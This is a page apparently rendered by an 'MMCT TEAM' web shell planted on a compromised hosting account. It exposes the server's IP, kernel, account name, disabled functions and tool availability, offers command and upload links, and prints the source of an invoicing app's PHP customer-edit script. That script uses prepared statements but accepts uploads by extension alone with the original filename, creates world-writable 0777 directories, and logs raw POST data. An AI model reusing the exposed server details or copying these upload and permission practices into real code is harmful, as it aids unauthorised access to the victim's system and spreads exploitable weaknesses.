MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/ajax_customer_edit.php
<?php
// Start output buffering to capture any unexpected output
ob_start();

// Set error handling to log errors instead of displaying them
ini_set('display_errors', 0);
error_reporting(E_ALL);

// Ensure proper content type is set
header('Content-Type: application/json');

// Enhanced error logging function
function logError($message) {
    file_put_contents('error_log.txt', date('[Y-m-d H:i:s] ') . $message . "\n", FILE_APPEND);
}

// Debug function for tracking request data
function logDebug($title, $data) {
    file_put_contents('debug_log.txt', date('[Y-m-d H:i:s] ') . $title . ": " . print_r($data, true) . "\n", FILE_APPEND);
}

// Validate required fields and format
function validateInput($data) {
    $required = ['cname', 'phone', 'gst'];
    $missing = array_filter($required, fn($field) => empty($data[$field]));
    
    if (!empty($missing)) {
        throw new Exception("Required fields missing: " . implode(', ', $missing));
    }
    
    if (!empty($data['cemail']) && !filter_var($data['cemail'], FILTER_VALIDATE_EMAIL)) {
        throw new Exception("Invalid email format");
    }
    
    if (!preg_match('/^[6-9]\d{9}$/', $data['phone'])) {
        throw new Exception("Please enter a valid 10-digit phone number");
    }
}

function handleFileUpload() {
    // Log file information
    logDebug("File Upload Started", $_FILES);
    
    if (!isset($_FILES["file"]) || $_FILES["file"]["error"] != 0) {
        $errorCode = isset($_FILES["file"]) ? $_FILES["file"]["error"] : "No file";
        logError("Upload error: $errorCode");
        return null;
    }
    
    $allowed = ["jpg" => "image/jpg", "jpeg" => "image/jpeg", "pdf" => "application/pdf"];
    $filename = $_FILES["file"]["name"];
    $filetype = $_FILES["file"]["type"];
    $filesize = $_FILES["file"]["size"];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    
    if (!array_key_exists($ext, $allowed)) {
        throw new Exception("Please select a valid file format (JPG, JPEG, PDF)");
    }
    
    if ($filesize > 1 * 1024 * 1024) {
        throw new Exception("File size must be less than 1MB");
    }
    
    $upload_dir = "customer_uploadFile/";
    
    // Check/create directory with permissions
    if (!file_exists($upload_dir)) {
        if (!mkdir($upload_dir, 0777, true)) {
            $error = error_get_last();
            logError("Failed to create upload directory: " . ($error ? $error['message'] : 'Unknown error'));
            throw new Exception("Failed to create upload directory");
        }
        chmod($upload_dir, 0777);
    }
    
    // Verify directory is writable
    if (!is_writable($upload_dir)) {
        logError("Upload directory is not writable: $upload_dir");
        throw new Exception("Server configuration error: Upload directory is not writable");
    }
    
    $new_filename = uniqid() . '_' . $filename;
    $filePath = $upload_dir . $new_filename;
    
    // Move uploaded file with better error handling
    if (!move_uploaded_file($_FILES["file"]["tmp_name"], $filePath)) {
        $error = error_get_last();
        logError("Failed to move uploaded file: " . ($error ? $error['message'] : 'Unknown error'));
        throw new Exception("There was a problem uploading your file");
    }
    
    logDebug("File uploaded successfully", $filePath);
    return $filePath;
}

// Process addresses
function processAddresses($addressesData) {
    $addresses = [];
    
    if (is_string($addressesData)) {
        $decoded = json_decode($addressesData, true);
        if (json_last_error() === JSON_ERROR_NONE && is_array($decoded)) {
            $addresses = $decoded;
        } else {
            logError("JSON parsing error: " . json_last_error_msg() . " - Data: " . substr($addressesData, 0, 500));
        }
    } elseif (is_array($addressesData)) {
        $addresses = $addressesData;
    }
    
    // Process addresses to ensure consistent format
    $processedAddresses = [];
    foreach ($addresses as $address) {
        $processedAddress = $address;
        // Make sure is_billing is properly converted to integer
        $processedAddress['is_billing'] = isset($address['is_billing']) && 
                              ((int)$address['is_billing'] === 1 || $address['is_billing'] === true) ? 1 : 0;
        $processedAddresses[] = $processedAddress;
    }
    
    return $processedAddresses;
}

// Set default billing address
function setDefaultBillingAddress($con, $customerId, $addressId) {
    $stmt = $con->prepare("UPDATE customer_addresses SET is_billing = 0 WHERE customer_id = ?");
    if (!$stmt) {
        throw new Exception("Database error: " . $con->error);
    }
    
    $stmt->bind_param("i", $customerId);
    if (!$stmt->execute()) {
        throw new Exception("Database error while updating addresses: " . $stmt->error);
    }
    
    $stmt = $con->prepare("UPDATE customer_addresses SET is_billing = 1 WHERE id = ? AND customer_id = ?");
    if (!$stmt) {
        throw new Exception("Database error: " . $con->error);
    }
    
    $stmt->bind_param("ii", $addressId, $customerId);
    if (!$stmt->execute()) {
        throw new Exception("Database error while setting billing address: " . $stmt->error);
    }
}

try {
    // Log request data for debugging
    logDebug("POST Data", $_POST);
    
    // Include database connection
    require_once "db.php";
    
    // Check database connection
    if (!isset($con) || $con->connect_error) {
        throw new Exception("Database connection failed: " . ($con->connect_error ?? "Unknown error"));
    }
    
    // Start transaction
    if (!$con->begin_transaction()) {
        throw new Exception("Failed to start transaction: " . $con->error);
    }
    
    $filePath = null;
    
    // Get and validate customer data
    $customerId = isset($_POST['customer_id']) ? intval($_POST['customer_id']) : 0;
    if ($customerId <= 0) {
        throw new Exception("Invalid customer ID");
    }
    
    validateInput($_POST);
    
    // Basic customer data
    $name = trim($_POST['cname'] ?? '');
    $email = trim($_POST['cemail'] ?? '');
    $phone = trim($_POST['phone'] ?? '');
    $gst = trim($_POST['gst'] ?? '');
    $custype = trim($_POST['custype'] ?? '');
    $hasShippingAddress = isset($_POST['has_shipping_address']) && $_POST['has_shipping_address'] == '1' ? 1 : 0;
    
    // Billing address
    $billingAddress = trim($_POST['billing_address'] ?? '');
    $billingCity = trim($_POST['billing_city'] ?? '');
    $billingPincode = trim($_POST['billing_pincode'] ?? '');
    $billingState = trim($_POST['billing_state'] ?? '');
    
    // Handle file upload
    $fileUpdate = false;
    $oldFile = null;
    
    if (isset($_FILES["file"]) && $_FILES["file"]["error"] == 0) {
        $filePath = handleFileUpload();
        if ($filePath) {
            $fileUpdate = true;
            
            // Get old file path
            $stmt = $con->prepare("SELECT file_path FROM customers WHERE id = ?");
            if (!$stmt) {
                throw new Exception("Database error: " . $con->error);
            }
            
            $stmt->bind_param("i", $customerId);
            if (!$stmt->execute()) {
                throw new Exception("Error retrieving customer data: " . $stmt->error);
            }
            
            $result = $stmt->get_result();
            if ($row = $result->fetch_assoc()) {
                $oldFile = $row['file_path'];
            }
        }
    }
    
    // Update customer record
    if ($fileUpdate) {
        $stmt = $con->prepare("UPDATE customers SET name = ?, email = ?, phone = ?, gst_number = ?, file_path = ?, 
                        has_shipping_address = ?, billing_address = ?, billing_city = ?, billing_pincode = ?, 
                        billing_state = ?, custype = ? WHERE id = ?");
        if (!$stmt) {
            throw new Exception("Database error preparing update: " . $con->error);
        }
        
        $stmt->bind_param("sssssisssssi", $name, $email, $phone, $gst, $filePath, $hasShippingAddress, 
        $billingAddress, $billingCity, $billingPincode, $billingState, $custype,  $customerId);
    } else {
        $stmt = $con->prepare("UPDATE customers SET name = ?, email = ?, phone = ?, gst_number = ?, 
                        has_shipping_address = ?, billing_address = ?, billing_city = ?, 
                        billing_pincode = ?, billing_state = ?, custype = ? WHERE id = ?");
        if (!$stmt) {
            throw new Exception("Database error preparing update: " . $con->error);
        }
        
        $stmt->bind_param("ssssisssssi", $name, $email, $phone, $gst, $hasShippingAddress, 
                     $billingAddress, $billingCity, $billingPincode, $billingState, $custype,  $customerId);
    }
    
    if (!$stmt->execute()) {
        throw new Exception("Error updating customer: " . $stmt->error);
    }
    
    // Handle shipping addresses
    if ($hasShippingAddress) {
        // Get existing address IDs
        $existingAddressIds = [];
        $stmt = $con->prepare("SELECT id FROM customer_addresses WHERE customer_id = ?");
        if (!$stmt) {
            throw new Exception("Database error: " . $con->error);
        }
        
        $stmt->bind_param("i", $customerId);
        if (!$stmt->execute()) {
            throw new Exception("Error retrieving addresses: " . $stmt->error);
        }
        
        $result = $stmt->get_result();
        while ($row = $result->fetch_assoc()) {
            $existingAddressIds[] = $row['id'];
        }
        
        // Process addresses
        $updatedAddressIds = [];
        $foundBillingAddress = false;
        $addresses = isset($_POST['addresses']) ? processAddresses($_POST['addresses']) : [];
        
        foreach ($addresses as $address) {
            $addressId = isset($address['id']) && !empty($address['id']) ? intval($address['id']) : 0;
            $addressValue = $address['address'] ?? '';
            $cityValue = $address['city'] ?? '';
            $pincodeValue = $address['pincode'] ?? ($address['addr_pincode'] ?? '');
            $stateValue = $address['state'] ?? ($address['addr_state'] ?? '');
            $isBilling = (int)($address['is_billing'] ?? 0);
            
            // Skip empty addresses
            if (empty($addressValue) && empty($cityValue) && empty($pincodeValue) && empty($stateValue)) {
                continue;
            }
            
            if ($isBilling == 1) {
                $foundBillingAddress = true;
            }
            
            // Update or insert address using prepared statements
            if ($addressId > 0) {
                $updatedAddressIds[] = $addressId;
                $stmt = $con->prepare("UPDATE customer_addresses SET address = ?, city = ?, 
                                pincode = ?, state = ?, is_billing = ? 
                                WHERE id = ? AND customer_id = ?");
                if (!$stmt) {
                    throw new Exception("Database error: " . $con->error);
                }
                
                $stmt->bind_param("ssssiii", $addressValue, $cityValue, $pincodeValue, 
                           $stateValue, $isBilling, $addressId, $customerId);
                
                if (!$stmt->execute()) {
                    throw new Exception("Error updating address: " . $stmt->error);
                }
            } else {
                $stmt = $con->prepare("INSERT INTO customer_addresses (customer_id, address, city, pincode, state, is_billing) 
                                VALUES (?, ?, ?, ?, ?, ?)");
                if (!$stmt) {
                    throw new Exception("Database error: " . $con->error);
                }
                
                $stmt->bind_param("issssi", $customerId, $addressValue, $cityValue, 
                           $pincodeValue, $stateValue, $isBilling);
                
                if (!$stmt->execute()) {
                    throw new Exception("Error inserting address: " . $stmt->error);
                }
                
                $newId = $con->insert_id;
                $updatedAddressIds[] = $newId;
            }
        }
        
        // Ensure only one billing address
        if (count($updatedAddressIds) > 0) {
            if ($foundBillingAddress) {
                foreach ($updatedAddressIds as $addrId) {
                    $stmt = $con->prepare("SELECT is_billing FROM customer_addresses WHERE id = ? AND customer_id = ?");
                    if (!$stmt) {
                        throw new Exception("Database error: " . $con->error);
                    }
                    
                    $stmt->bind_param("ii", $addrId, $customerId);
                    if (!$stmt->execute()) {
                        throw new Exception("Error checking address: " . $stmt->error);
                    }
                    
                    $result = $stmt->get_result();
                    if ($row = $result->fetch_assoc()) {
                        if ($row['is_billing'] == 1) {
                            setDefaultBillingAddress($con, $customerId, $addrId);
                            break;
                        }
                    }
                }
            } else if (!empty($updatedAddressIds)) {
                // Set first address as billing if none marked
                setDefaultBillingAddress($con, $customerId, $updatedAddressIds[0]);
            }
        }
        
        // Delete removed addresses
        $addressesToDelete = array_diff($existingAddressIds, $updatedAddressIds);
        foreach ($addressesToDelete as $id) {
            $stmt = $con->prepare("DELETE FROM customer_addresses WHERE id = ? AND customer_id = ?");
            if (!$stmt) {
                throw new Exception("Database error: " . $con->error);
            }
            
            $stmt->bind_param("ii", $id, $customerId);
            if (!$stmt->execute()) {
                throw new Exception("Error deleting address: " . $stmt->error);
            }
        }
    } else {
        // Delete all addresses if shipping not needed
        $stmt = $con->prepare("DELETE FROM customer_addresses WHERE customer_id = ?");
        if (!$stmt) {
            throw new Exception("Database error: " . $con->error);
        }
        
        $stmt->bind_param("i", $customerId);
        if (!$stmt->execute()) {
            throw new Exception("Error removing addresses: " . $stmt->error);
        }
    }
    
    // Commit transaction
    if (!$con->commit()) {
        throw new Exception("Failed to commit transaction: " . $con->error);
    }
    
    // Delete old file if replaced
    if ($fileUpdate && !empty($oldFile) && file_exists($oldFile) && $oldFile !== $filePath) {
        @unlink($oldFile);
    }
    
    // Capture any output before our JSON response
    $output = ob_get_clean();
    if (!empty($output)) {
        logError("Unexpected output before JSON response: " . $output);
    }
    
    // Return success
    echo json_encode([
        'status' => 'success',
        'message' => 'Customer updated successfully',
        'customer_id' => $customerId
    ]);
    
} catch (Throwable $e) {
    // Rollback on error
    if (isset($con) && $con instanceof mysqli && !$con->connect_error) {
        $con->rollback();
    }
    
    // Log the error
    logError("Error: " . $e->getMessage() . " - File: " . $e->getFile() . " - Line: " . $e->getLine());
    logError("Trace: " . $e->getTraceAsString());
    
    // Delete uploaded file if error
    if (isset($filePath) && $filePath && file_exists($filePath)) {
        @unlink($filePath);
    }
    
    // Capture any output before our JSON response
    $output = ob_get_clean();
    if (!empty($output)) {
        logError("Unexpected output before error JSON response: " . $output);
    }
    
    // Return error
    echo json_encode([
        'status' => 'error',
        'message' => $e->getMessage()
    ]);
}

// Close connection
if (isset($con) && $con instanceof mysqli) {
    $con->close();
}
?>

MMCT - 2023